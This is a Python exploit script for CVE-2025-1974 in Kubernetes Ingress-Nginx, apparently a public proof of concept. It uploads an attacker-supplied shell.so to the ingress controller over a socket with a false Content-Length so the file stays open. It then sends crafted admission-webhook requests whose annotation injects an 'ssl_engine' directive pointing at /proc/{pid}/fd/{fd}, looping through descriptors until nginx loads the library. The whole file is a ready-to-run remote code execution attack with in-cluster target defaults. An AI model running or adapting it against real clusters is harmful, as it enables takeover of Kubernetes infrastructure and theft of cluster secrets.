import base64
import time
import argparse
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


admission_json = """
{
   "kind": "AdmissionReview",
   "apiVersion": "admission.k8s.io/v1",
   "request": {
      "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
      "kind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "resource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "requestKind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "requestResource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "name": "minimal-ingress",
      "namespace": "default",
      "operation": "CREATE",
      "userInfo": {
         "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
      },
      "object": {
         "kind": "Ingress",
         "apiVersion": "networking.k8s.io/v1",
         "metadata": {
            "name": "minimal-ingress",
            "namespace": "default",
            "creationTimestamp": null,
            "annotations": {
                "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
            }
         },
         "spec": {
            "ingressClassName": "nginx",
            "rules": [
               {
                  "host": "test.example.com",
                  "http": {
                     "paths": [
                        {
                           "path": "/",
                           "pathType": "Prefix",
                           "backend": {
                              "service": {
                                 "name": "kubernetes",
                                 "port": {
                                    "number": 443
                                 }
                              }
                           }
                        }
                     ]
                  }
               }
            ]
         },
         "status": {
            "loadBalancer": {}
         }
      },
      "oldObject": null,
      "dryRun": true,
      "options": {
         "kind": "CreateOptions",
         "apiVersion": "meta.k8s.io/v1"
      }
   }
}
"""


def send_request(admission_url, json_data, proc, fd):
    print(f"Trying Proc: {proc}, FD: {fd}")
    path = f"proc/{proc}/fd/{fd}"
    replaced_data = json_data.replace("REPLACE", path)

    headers = {
        "Content-Type": "application/json"
    }

    full_url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
        # print(response.text) - use this to debug (check response of admission webhook)
        print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"Error on /proc/{proc}/fd/{fd}: {e}")


def admission_brute(admission_url, max_workers=10):
    # proc = input("INPUT PROC:") - use this for manual testing
    # fd = input("INPUT FD:") - use this for manual testing
    # send_request(admission_url, json_data, proc, fd) - use this for manual testing

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(30, 50):  # can be increased to 100
            for fd in range(3, 30):  # can be increased to 100 (not recommended)
                executor.submit(send_request, admission_url, admission_json, proc, fd)

        for proc in range(160, 180):  # can be increased to 100
            for fd in range(3, 30):  # can be increased to 100 (not recommended)
                executor.submit(send_request, admission_url, admission_json, proc, fd)


def exploit(ingress_url, shell_file):
    if not os.path.exists(shell_file):
        print(f"Error: Shell file '{shell_file}' not found")
        sys.exit(1)

    so = open(shell_file, 'rb').read() + b"\x00" * 8092

    real_length = len(so)
    fake_length = real_length + 10
    url = ingress_url

    parsed = urlparse(url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"Error connecting to {host}:{port}: {e} - host is up?")
        sys.exit(1)
    
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: lufeisec\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode("iso-8859-1")

    http_payload = headers + so
    sock.sendall(http_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Response:")
    print(response.decode(errors="ignore"))

    sock.close()


def parse_arguments():
    # Default values for the service
    default_admission = "https://localhost:32043/networking/v1/ingresses"
    default_ingress = "http://localhost:32080/fake/addr"
    
    # Suggested values when running in a kubernetes cluster
    suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
    suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
    
    parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
    
    parser.add_argument('-a', '--admission', 
                        default=default_admission, 
                        help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
    
    parser.add_argument('-i', '--ingress', 
                        default=default_ingress, 
                        help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
    
    parser.add_argument('-s', '--shell-file', 
                        default="shell.so", 
                        help='Path to the shell.so file (default: shell.so)')
    
    parser.add_argument('-w', '--workers', 
                        type=int, 
                        default=10, 
                        help='Number of worker threads for brute forcing (default: 10)')
    
    return parser.parse_args()


def main():
    args = parse_arguments()
    
    print(f"[*] Using shell file: {args.shell_file}")
    print(f"[*] Admission URL: {args.admission}")
    print(f"[*] Ingress URL: {args.ingress}")
    print(f"[*] Workers: {args.workers}")
    print("[*] Starting exploit...")
    
    # Send the library to the ingress pod and keep the connection open 
    # to keep the file open via the file descriptor (FD)
    x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
    x.start()
    
    # Give the exploit thread time to start and upload the shellcode
    time.sleep(2)
    
    # Start the admission webhook brute force (/proc/{pid}/fd/{fd})
    admission_brute(args.admission, max_workers=args.workers)


if __name__ == "__main__":
    main()
